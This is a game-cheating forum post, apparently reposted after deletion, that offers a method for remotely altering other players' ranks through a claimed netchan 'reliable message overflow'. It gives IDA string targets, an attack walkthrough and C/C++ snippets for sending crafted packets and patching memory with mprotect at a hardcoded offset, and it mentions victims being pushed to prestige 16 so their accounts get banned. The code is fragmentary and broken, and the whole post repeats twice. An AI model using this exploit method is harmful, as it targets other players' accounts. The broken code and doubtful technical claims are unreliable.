rainreach
Veteran
- Messages
- 33
- Reaction score
- 6
- Points
- 783
The reason why I’m putting this here is because unknown cheats has deleted my post because “ it interferes with their sellings”
The quote is what I replied to please scroll down for more information
Quote:
It’s called RME/RCE NOT THAT HARD
How To Remote Exploit Ranks what you need that is 100% important
Look for this in IDA
Logic Tags for the netchan:
"Netchan_Setup: %s"
"Netchan_Transmit: %s"
"Reliable message overflow"
"fragment %i of %i from %s"
Netchan_Setup: %s is used at the very beginning to initialize the connection line and define the buffer sizes, which helps map out how much breathing room you have before hitting memory limits.
Netchan_Transmit: %s handles the active back-and-forth data stream, acting as the exact pipeline where you inject your chopped-up command payloads disguised as ordinary traffic.
fragment %i of %i from %s tracks the postal delivery of those individual data pieces as the engine gathers them from the stream and stitches them back together in its temporary memory holding box without thoroughly vetting the final output.
Reliable message overflow is triggered when you intentionally flood that transmission line to create a digital traffic jam; when the engine's buffer chokes and panics under the weight its security protocols drop causing the game to mistakenly read your reassembled payload sitting at the edge of the memory spill and execute it as a valid command.
And to send that little notification you are gonna look for X toasty notification
C Isnt Sharp you aren’t that guy pal L Clout Chaser/Ratio/pasted and ported/gamer7112 did all the work/low IQ
Netchan_Setup: %s is used initially to configure the socket and establish the baseline structure for the client-server connection, setting up the boundaries of the memory buffers you are targeting.
Netchan_Transmit: %s is the function that handles pushing out the packet stream which custom payloads hook into to inject the crafted data streams directly into the outgoing or incoming flow.
fragment %i of %i from %s manages the chunks when a payload is too big for a single packet in an chain this loop handles the reassembly of oversized data blocks into the target buffer.
Reliable message overflow is the core trigger of the exploit; by flooding the reliable message queue until it bursts past its memory limit it causes the engine to panic. During that overflow state instead of cleanly dropping the connection it improperly handles the memory boundary and executes the script or command strings sitting at the tail end of the overflow as if they were valid internal instructions.
Here are some code snippets I posted before the take down
struct PatchPayload {
int sequence;
char type;
uint64_t targetAddress;
int dataLength;
uint8_t payload[4];
};
void sendmyexploit_rainreach(int target_val) {
uint64_t god = offset goes here;
msg_t msg;
MSG_Init(&msg, my_buffer, sizeof(my_buffer));
MSG_WriteLong(&msg, (current_sequence++ | 0x00000000));
MSG_WriteInt64(&msg, ammo_addr);
MSG_WriteInt32(&msg, target_val);
NET_SendPacket(NS_CLIENT, msg.cursize, msg.data, target_ip);
}
#include <cstdint>
#include <sys/mman.h>
struct PatchPayload {
uint32_t sequence;
uint8_t type;
uint64_t targetAddress;
uint32_t dataLength;
uint8_t payload[4];
};
void ApplyLocalMemoryPatch(uintptr_t base_module_address, int32_t target_val) {
uintptr_t ammo_addr = base_module_address + 0x1E1EF8;
uintptr_t page_size = 0x4000;
uintptr_t page_aligned_addr = ammo_addr & ~(page_size - 1);
mprotect((void*)page_aligned_addr, page_size, PROT_READ | PROT_WRITE | PROT_EXEC);
int32_t* target_pointer = reinterpret_32_t*>(ammo_addr);
if (target_pointer) {
*target_pointer = target_val;
}
}
The quote is what I replied to please scroll down for more information
Quote:
| Originally Posted by exliation
we need the method brother,, noob's don't know the power of UC chuds ^_^ also this u ? assuming not because of alias but he has figured something out, i have no clue when it comes to this type work but surely this would be result of RTM not just a GPAD configuration or w/e was abused with bo1. he's currently setting people to prestige 16 with zero games played so it gets their account banned (found this out when i had jailbroken ps3 and RTM'd prestige 16 for bo2 without playing any games, would just ban you) |
How To Remote Exploit Ranks what you need that is 100% important
Look for this in IDA
Logic Tags for the netchan:
"Netchan_Setup: %s"
"Netchan_Transmit: %s"
"Reliable message overflow"
"fragment %i of %i from %s"
Netchan_Setup: %s is used at the very beginning to initialize the connection line and define the buffer sizes, which helps map out how much breathing room you have before hitting memory limits.
Netchan_Transmit: %s handles the active back-and-forth data stream, acting as the exact pipeline where you inject your chopped-up command payloads disguised as ordinary traffic.
fragment %i of %i from %s tracks the postal delivery of those individual data pieces as the engine gathers them from the stream and stitches them back together in its temporary memory holding box without thoroughly vetting the final output.
Reliable message overflow is triggered when you intentionally flood that transmission line to create a digital traffic jam; when the engine's buffer chokes and panics under the weight its security protocols drop causing the game to mistakenly read your reassembled payload sitting at the edge of the memory spill and execute it as a valid command.
And to send that little notification you are gonna look for X toasty notification
C Isnt Sharp you aren’t that guy pal L Clout Chaser/Ratio/pasted and ported/gamer7112 did all the work/low IQ
Netchan_Setup: %s is used initially to configure the socket and establish the baseline structure for the client-server connection, setting up the boundaries of the memory buffers you are targeting.
Netchan_Transmit: %s is the function that handles pushing out the packet stream which custom payloads hook into to inject the crafted data streams directly into the outgoing or incoming flow.
fragment %i of %i from %s manages the chunks when a payload is too big for a single packet in an chain this loop handles the reassembly of oversized data blocks into the target buffer.
Reliable message overflow is the core trigger of the exploit; by flooding the reliable message queue until it bursts past its memory limit it causes the engine to panic. During that overflow state instead of cleanly dropping the connection it improperly handles the memory boundary and executes the script or command strings sitting at the tail end of the overflow as if they were valid internal instructions.
Here are some code snippets I posted before the take down
struct PatchPayload {
int sequence;
char type;
uint64_t targetAddress;
int dataLength;
uint8_t payload[4];
};
void sendmyexploit_rainreach(int target_val) {
uint64_t god = offset goes here;
msg_t msg;
MSG_Init(&msg, my_buffer, sizeof(my_buffer));
MSG_WriteLong(&msg, (current_sequence++ | 0x00000000));
MSG_WriteInt64(&msg, ammo_addr);
MSG_WriteInt32(&msg, target_val);
NET_SendPacket(NS_CLIENT, msg.cursize, msg.data, target_ip);
}
#include <cstdint>
#include <sys/mman.h>
struct PatchPayload {
uint32_t sequence;
uint8_t type;
uint64_t targetAddress;
uint32_t dataLength;
uint8_t payload[4];
};
void ApplyLocalMemoryPatch(uintptr_t base_module_address, int32_t target_val) {
uintptr_t ammo_addr = base_module_address + 0x1E1EF8;
uintptr_t page_size = 0x4000;
uintptr_t page_aligned_addr = ammo_addr & ~(page_size - 1);
mprotect((void*)page_aligned_addr, page_size, PROT_READ | PROT_WRITE | PROT_EXEC);
int32_t* target_pointer = reinterpret_32_t*>(ammo_addr);
if (target_pointer) {
*target_pointer = target_val;
}
}